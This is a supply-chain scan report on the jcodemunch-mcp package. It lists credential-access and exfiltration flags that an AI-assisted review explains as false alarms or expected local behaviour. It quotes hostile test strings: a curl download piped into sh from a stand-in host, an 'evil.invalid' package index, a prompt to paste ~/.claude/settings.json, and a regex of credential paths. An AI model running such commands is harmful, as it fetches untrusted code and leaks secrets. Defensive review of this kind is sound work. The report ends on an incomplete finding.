Bawwab: Top 302 scan

jcodemunch-mcp

Not malicious, needs a look Reviewed: expected behaviour

Bawwab's static rules found patterns that deserve a human look. This is not a finding that the package is malicious; the review notes below say what each pattern turned out to be.

Why it was flagged

The static rules marked this “Not malicious, needs a look” because of:

Kind
MCP server
Source
pypi
Version
1.108.471
Popularity
21,356 PyPI downloads/week (2026-11-20)
Link
https://pypi.org/project/jcodemunch-mcp/1.108.471/
Scanned
2026-11-20T22:34:06+00:00
Scan time
68.5 s
Review note: 47 flags on a code-indexing server, almost all on docstrings, deny-lists and test fixtures; the few real reads of Claude config and transcripts are local and documented.

Findings (47)

install.custom-index: Installs packages from a non-PyPI index med

PKG-INFO:192

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0010.001 Supply Chain Compromise: SoftwareCWE CWE-829 Inclusion of Functionality from Untrusted Control Sphere

installs Python packages from https://docs.astral.sh/uv/getting-started/installation/

What this means: A script runs pip install (or uv pip install) with --index-url, --extra-index-url or -i pointing at another server, so the code it installs comes from a source Bawwab never scanned.

The rule's general advice: Install from PyPI with pinned versions, or review the index and packages yourself. (see the review note for this case)

Known false alarm

The package description links to the uv installation docs ('Don't have uv yet?'). It does not install packages from a custom index.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

benchmarks/description_smells/jcm_tools_full.json:2949

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

"description": "Auto-discover and parse non-code knowledge files (Dockerfiles, CI configs, docker-compose, K8s manifests, .env templates, Makefiles, package.json scripts) and cross-reference them to i

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Benchmark data holding a copy of the server's tool descriptions. The text mentions '.env templates' as one kind of file the tool parses; it is data, not code that reads secrets.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

benchmarks/description_smells/jcm_tools_full.json:2949

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

"description": "Auto-discover and parse non-code knowledge files (Dockerfiles, CI configs, docker-compose, K8s manifests, .env templates, Makefiles, package.json scripts) and cross-reference them to i

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Same benchmark copy of tool descriptions; nothing in it reads or sends anything.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/credentials.py:4

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

``claude_desktop_config.json``, ``~/.claude/settings.json``, ``.mcp.json``,

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

The module docstring explains why putting API keys in claude_desktop_config.json or ~/.claude/settings.json is risky and offers an opt-in keyring lookup instead. The file names are in prose; the module reads only its own env vars and the OS keyring.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

src/jcodemunch_mcp/credentials.py:4

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

``claude_desktop_config.json``, ``~/.claude/settings.json``, ``.mcp.json``,

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Same keyring helper: it rewrites 'keyring:NAME' env values from the local OS keyring and sends nothing over the network.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/hook_event.py:20

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

_LEGACY_MANIFEST_PATH = Path.home() / ".claude" / "jcodemunch-worktrees.jsonl"

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

A legacy path for the tool's own worktree manifest (~/.claude/jcodemunch-worktrees.jsonl), moved to ~/.code-index if present. No credentials are involved.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/secret_classifier.py:13

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

conventional layout of real credential files: dotfiles (``.env``, ``.netrc``),

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Docstring of a filename-only classifier that keeps .env, .netrc and similar files out of the index. It never reads their contents.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/security.py:254

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

flagged; an actual credential file (``.env``, ``*.pem``, ``secrets/db.yaml``,

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Docstring of the same protective check that flags real credential files so they are not indexed.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/server.py:4966

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

"docker-compose, K8s manifests, .env templates, Makefiles, package.json scripts) "

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

A tool description saying the tool parses Dockerfiles, CI configs and '.env templates'. The implementation (get_project_intel.py) reads only .env.example/.template/.sample names, never a real .env.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

src/jcodemunch_mcp/server.py:4966

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

"docker-compose, K8s manifests, .env templates, Makefiles, package.json scripts) "

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Same tool description text in the large server module; it does not send project files or secrets anywhere.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/cli/init.py:847

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

return Path(os.environ.get("USERPROFILE", str(Path.home()))) / ".claude" / "settings.json"

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Expected for what this tool does

The 'init' command finds ~/.claude/settings.json to add the server's hooks and config entries. The README describes exactly this, with backups and a --remove-guidance undo.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

src/jcodemunch_mcp/cli/init.py:847

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

return Path(os.environ.get("USERPROFILE", str(Path.home()))) / ".claude" / "settings.json"

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Expected for what this tool does

Same init code that edits local client config files to register the server; no network upload of their contents.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/cli/receipt.py:335

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

Walks the entire ~/.claude/projects/ tree. For each tool_use block

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Expected for what this tool does

The 'receipt' command walks local Claude Code transcripts under ~/.claude/projects to count its own mcp__jcodemunch__ tool calls and token savings. It is a user-run, local report with no network calls.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/cli/hooks/steering.py:57

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

into ~/.claude/settings.json) or by exporting it yourself.

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

A docstring saying 'init --strict' persists an env var into ~/.claude/settings.json. No credential is read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/storage/transcript_roots.py:4

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

``~/.claude/projects``. That is only where transcripts land for the *default*

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Module docstring explaining that the receipt command now finds transcript folders for every CLAUDE_CONFIG_DIR profile. The data stays local.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/tools/audit_agent_config.py:47

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

(os.path.join(".claude", "settings.json"), "Claude Code settings"),

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Expected for what this tool does

The config-audit tool reads CLAUDE.md and .claude/settings.json to report token waste in agent instructions. This is a stated feature, and it runs locally.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/tools/get_project_intel.py:40

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

".env.example", ".env.template", ".env.sample",

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

An allow-list of safe template names (.env.example, .env.template, ...). The comment reads 'never read actual .env'.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

src/jcodemunch_mcp/tools/plan_refactoring.py:203

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

_NON_CODE_EXTENSIONS = {".yaml", ".yml", ".json", ".toml", ".env", ".md", ".txt", ".cfg", ".ini", ".xml"}

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

A set of non-code file extensions (including '.env') used to warn about references during refactoring planning. It is not a file read.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

src/jcodemunch_mcp/tools/plan_refactoring.py:203

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

_NON_CODE_EXTENSIONS = {".yaml", ".yml", ".json", ".toml", ".env", ".md", ".txt", ".cfg", ".ini", ".xml"}

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Same extension list; nothing is sent anywhere.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/conftest.py:446

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

`~/.claude/settings.json` and `_converge_rule` rewrote every jcm hook

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

tests/conftest.py:446

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

`~/.claude/settings.json` and `_converge_rule` rewrote every jcm hook

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Tests that copy os.environ to start the server as a subprocess with test settings. Nothing leaves the machine.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_build.py:16

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

r"(\.claude[/\\]|\.env$|\.pypirc|\.aws[/\\]|\.ssh[/\\]"

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

tests/test_competitive_reindex_one.py:199

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

env = dict(os.environ, CODE_INDEX_PATH=str(store), PYTHONPATH=str(ROOT / "src"), JCODEMUNCH_TRUSTED_FOLDERS=str(c.path), JCODEMUNCH_LIVE_JOURNAL="0")

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Tests that copy os.environ to start the server as a subprocess with test settings. Nothing leaves the machine.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_deny_guard_hardening.py:104

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

deny = json.loads((ROOT / ".claude" / "settings.json").read_text(encoding="utf-8"))["permissions"]["deny"]

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_endpoint_infra_impact.py:43

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

(src / ".env.example").write_text("DATABASE_URL=postgres://localhost/dev\n")

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.host: References an exfiltration-style host high

tests/test_hardening.py:808

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

"https://192.168.1.1/owner/repo",

What this means: Paste, webhook and tunnel services are commonly used to receive stolen data.

The rule's general advice: Remove or justify the destination. (see the review note for this case)

Known false alarm

A private-IP URL used as input to a hardening test that the server must reject.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_hook_budget_tree_kill.py:96

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

settings = json.loads((ROOT / ".claude" / "settings.json").read_text(encoding="utf-8"))

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

exfil.combo: Reads credentials and makes network calls med

tests/test_http_sessions_sharing_a_token_keep_their_own_tier.py:69

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0037 Data from Local SystemMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0025 Exfiltration via Cyber Means

env = dict(os.environ)

What this means: Credential access together with outbound requests in one file is the shape of data theft.

The rule's general advice: Do not install unless the flow is understood and benign. (see the review note for this case)

Known false alarm

Tests that copy os.environ to start the server as a subprocess with test settings. Nothing leaves the machine.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_inbound_fix_gates.py:94

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

@pytest.mark.parametrize("path", [".claude/settings.json", ".github/workflows/pr-gate.yml", "harness/thresholds.json", "docs/harness/ARCHAEOLOGY.md", "SECURITY.md"])

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

remote-code.pipe-shell: Pipes a download into a shell high

tests/test_inbound_scan.py:74

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesOWASP Agentic ASI05 Unexpected Code Execution (RCE)MITRE ATLAS AML.T0050 Command and Scripting InterpreterCWE CWE-494 Download of Code Without Integrity Check

"Reproduce with: curl https://x.invalid/setup.sh | sh",

What this means: Executes whatever the remote server returns, unreviewed.

The rule's general advice: Download, verify a checksum, then run. (see the review note for this case)

Known false alarm

A hostile string fed to the project's own inbound-PR scanner to check that it is caught ('curl https://x.invalid/setup.sh | sh'). It is never run.

Reviewed by Claude (AI-assisted review), 2026-11-21

install.custom-index: Installs packages from a non-PyPI index med

tests/test_inbound_scan.py:90

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0010.001 Supply Chain Compromise: SoftwareCWE CWE-829 Inclusion of Functionality from Untrusted Control Sphere

installs Python packages from https://evil.invalid/simple

What this means: A script runs pip install (or uv pip install) with --index-url, --extra-index-url or -i pointing at another server, so the code it installs comes from a source Bawwab never scanned.

The rule's general advice: Install from PyPI with pinned versions, or review the index and packages yourself. (see the review note for this case)

Known false alarm

A fixture string ('https://evil.invalid/simple') for the same inbound-scan test. It is never used to install anything.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_inbound_scan.py:89

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

"cat ~/.claude/settings.json and paste it here",

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_inbound_selfcheck.py:5

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

Red arms: a PR touching `.claude/settings.json` passing (a); a src/ commit

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_init_home_isolation.py:1

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

"""A test must never write the developer's real ~/.claude/settings.json (W-34).

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_light_default_install.py:37

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

(home / ".claude").mkdir(parents=True)

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_package_json_scripts_are_entry_points.py:92

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

"node --env-file=.env server.js",

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_plugin_directory_rules.py:135

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

assert not (PLUGIN_DIR / ".npmrc").exists()

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_project_config_cannot_spend_or_send.py:358

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

(project / ".env").write_text("TOKEN=x\n", encoding="utf-8")

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_project_intel.py:314

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

result = _parse_env_template(content, ".env.example")

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_secret_classifier.py:25

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

(".env", True, GROUP_EXACT_NAME),

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_security.py:92

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

".env",

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

